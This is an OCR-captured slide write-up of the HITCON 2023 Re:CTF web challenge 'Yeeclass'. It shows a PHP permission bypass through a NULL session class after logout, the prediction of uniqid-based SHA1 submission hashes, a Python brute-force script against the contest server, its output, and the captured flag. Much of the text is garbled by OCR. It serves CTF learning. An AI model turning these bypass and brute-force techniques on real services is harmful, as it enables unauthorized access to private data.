Yeeclass (web)

albert5888@HITCON 2023 Re:CTF



> View

yeeclass

[Home] | [My Submissions] Hi, albert5888 [Logout]

Flag (Closed)

Please submit the flag.

Public Homework (Open)

You can view the submission list of the public homework!

[Submission List]|[Submit]

Non-Public Homework (Open)

Only TAs and the teacher can view the submission list of the non-public homework!

[Submit]




@ yeeclass | Submission X ar

< C O E | http://rectf.hitcon2023.online:30203/submission.php?hash=93{ O0ddd... &

yeeclass

[Home] | [My Submissions] Hi, albert5888 [Logout]
albert5888_Public Homework [Delete]
Time: 2823-88-16 16:31:268.721843

Score: (Not judged)

test by albert5888




> B&Submission List

yeeclass

[Home] | [My Submissions] Hi, albert5888 [Logout]

Flag (Closed)

Please submit the flag.

Public Homework (Open)

You can view the submission list of the public homework!

[Submission List]|[Submit]

Non-Public Homework (Open)

Only TAs and the teacher can view the submission list of the non-public homework!

[Submit]




> |d=2

@ yeeclass | Submission X +

&« C O a F | http://rectf.hitcon2023.online:30203/submission.php?homeworkid=2

yeeclass

[Home] | [My Submissions]

Homework

Public Homework

Hi, albert5888 [Logout]

Score SUbﬂ;:tEd Timestamp

albert5888 2623-08-16 16:31:208.721043

Total: 1 submission(s).



> 1d=1

@ rectfhitcon2023.0nline:30203, X +

< C O AZZ | http://rectf.hitcon2023.online:30203/submission.php?homeworkid=1

No permission




> submission.php > config.php

} else { <?php
if (isset($_GET["homeworkid"]))
$homework_query = $pdo->prepare("SELECT * FROM homework WHERE id=?");
$homework_query->execute(array($_GET[ "homeworkid"]));

ini_set('display_errors', 0);
ini_set('display_startup_errors', @);

$result = $homework_query->fetch(PDO: :FETCH_ASSOC); error_reporting(E_ERROR);

if (!$result define("PERM_STUDENT", -1);
Z?tp:;esponsi_co:ei4a4;i . define("PERM_TA", @);
ie("Homework not found™); define("PERM_TEACHER", 1);

if ($_SESSION["userclass"] < PERM_TA && !$result["public"] if (!session_id()) {
http_response_code(403); session_start();
die("No permission™); }



> how to bypass

How about Logout ?

$ SESSION["userclass"]==NULL




> PHP NULL

<?php
If(NULL >=0)
echo"NULL>=0": //true
If(NULL == 0)
echo"NULL==0"; //true
If(NULL < 0)
echo"NULL< 0"; //
7>




> bypass

yeeclass | Submission x +

<« C O A FZZE rectf.hitcon2023.online B @ ¥

yeeclass

[Home ] Usemname | Password ‘ ‘ Login/Register

Homework Score Subrr;;cted Timestamp

108 flagholder 2623-88-16 ©4:89:35.5840896

Total: 1 submission(s).




> how to view?

@ yeeclass | Submission X ar

< C O E | http://rectf.hitcon2023.online:30203/submission.php?hash=93{ O0ddd... &

yeeclass

[Home] | [My Submissions] Hi, albert5888 [Logout]
albert5888_Public Homework [Delete]
Time: 2823-88-16 16:31:268.721843

Score: (Not judged)

test by albert5888




> how to hash?

$pdo = new PDO("mysql:host=yeeclass_db;dbname=yeeclass", "yeeclass", "yeeclass");

$username "Flagholder";

$password = base64_encode(random_bytes(48));

echo "Username: $username; Password: $password\n”;
// create user
$user_query = $pdo->prepare("INSERT INTO user (username, " password’ , class) VALUES (?, ?, ?)");

$user_query->execute(array($username, hash("md5", $password), ©));

// submit flag
$id = uniqid($username.”_");

echo iid."\n“;

$submit_query = $pdo->prepare("INSERT INTO submission (" hash™, userid, homeworkid, score, content) VALUES (?
$submit_query->execute(array( .

hash("shal", $id),

$pdo->lastInsertId(),

1,

100,

$ _ENV["FLAG"]

));

> 2 2, 2, N)Y);



> uniqid?

PHP: unigid - Manual X aF

< CcC 0 & hitps://www.php.net/manual/zh/function.unigid.php

Downloads Documentation | Getlnvolved Help php?’.2

» random_bytes() - Get cryptographically secure random bytes

User Contributed Notes da note

4 171w keith at keithtyler dot com 13 years ago

For the record, the underlying function to uniqid() appears to be roughly as fol

$m=microtime(true);
sprintf("%8x%05x\n", floor($m), ($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. T

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique”
»



o [ |
yeeclass | Submission X ar

= C 00 A FEF rectf.hitcon2023.online B Q

yeeclass

[Home ] Usemname C ‘|LommRemﬂer

Homework Score SUbT;fted Timestamp

108 flagholder 2023-08-16 ©4:89:35.584096

Total: 1 submission(s).

2023-08-16 04:09:36 => 64dc4bft
584096 = > 8e9a0



> the answer s ...
shal(tflagholder_64dc4bft8e9a0)
> I5E =

shal(flagholder_64dc4bff8e9 )




> exp.py

import requests

import hashlib

from datetime import datetime, timezone

session = requests.session()

s ="'flagholder_64dc4bff8e9’

for 1 in range(Oxff):
h = s+f'{i:02x}"
hash = hashlib.shal(h.encode()).hexdigest()
r = session.get('http://rectf.hitcon2023.0online:30203/submission.php?hash="+hash)
print(f'{h}:{hash}:{r.content}")
if b'not found' not in r.content:

break




> getflag

flagholder_64dc4bff8e913:f14cd984de88319a4528332156046a6180af@982:b"Submission not found.'
flagholder_64dc4bff8e914:09adb67392eff3ccbbade59+390147blelfe@lc9:b Submission not found.'
flagholder_64dc4bff8e915:7c6547bcbe76825db3bfe919alele1d0340780bf:b'Submission not found.'
flagholder_64dc4bff8e916:d6047927e42df@888Ffbda3a5f4961361220ca555:b Submission not found.'
flagholder_64dc4bff8e917:cd53f8963abfe958ead9a2ebed16c50ecbe5b436:b'Submission not found.'
flagholder_64dc4bff8e918:11922a871e799f1cdd5fe3d6bdb6751dd54a7726:b " Submission not found.'
flagholder_64dc4bff8e919:5d867eb6b457d3dc77ea30a33fba68e79fe980db: b *Submission not found.'
flagholder_64dc4bff8e91a:cbc5a4825c64bel95e18d7cla7fd7ad57e227bb1:b 'Submission not found.'
flagholder_64dc4bff8e91b:151b2787fd21d5268c489180f2a77fe5@da3faae:b ' \n<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta http-equiv=

"X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <titledyeeclass | Submission</title>\n <1
ink rel="stylesheet" href="static/style.css">\n</head>\n<body>\n <div id="main">\n <header id="header">\n <hl>yeeclass</h1>\n <nav
>\n <a href="index.php">[Home]</a> <div class="right">\n <form action="index.php" method="POST">\n <input type="text" name="username"
id="username" placeholder="Username" pattern="~\\w{6,20}$" autocomplete="off">\n <input type="password" name="password" id="password" placeholder="Pass
word"” autocomplete="off">\n <input type="submit" value="Login/Register”>\n </form>\n </div>\n</nav> </header>\n <hr>\n
<section id="view">\n <h3>flagholder_Flag <a href="submit.php?homeworkid=1&delete=151b2707fd21d5268c489180f2a77fe50da3faae™>[Delete]</a></h3
>\n <p>Time: 223-08-16 ©4:09:35.584096</p>\n <p>Score: 180</p>\n <pre>hitcon{pHp_1s_the_b35t_1lang}</pre>\n </section>\n

</div>\n</body>\n</html>"



> getflag

yeeclass | Submission bt ar

&« C 00 A FF=F rectf.hitcon2023.online

yeeclass

[Home] Usermame a ' | | Login/Register

flagholder_Flag [Delete]
Time: 2023-08-16 04:09:35.584096

Score: 1089

hitcon{pHp_1s_the_b35t_lang}




Thank You
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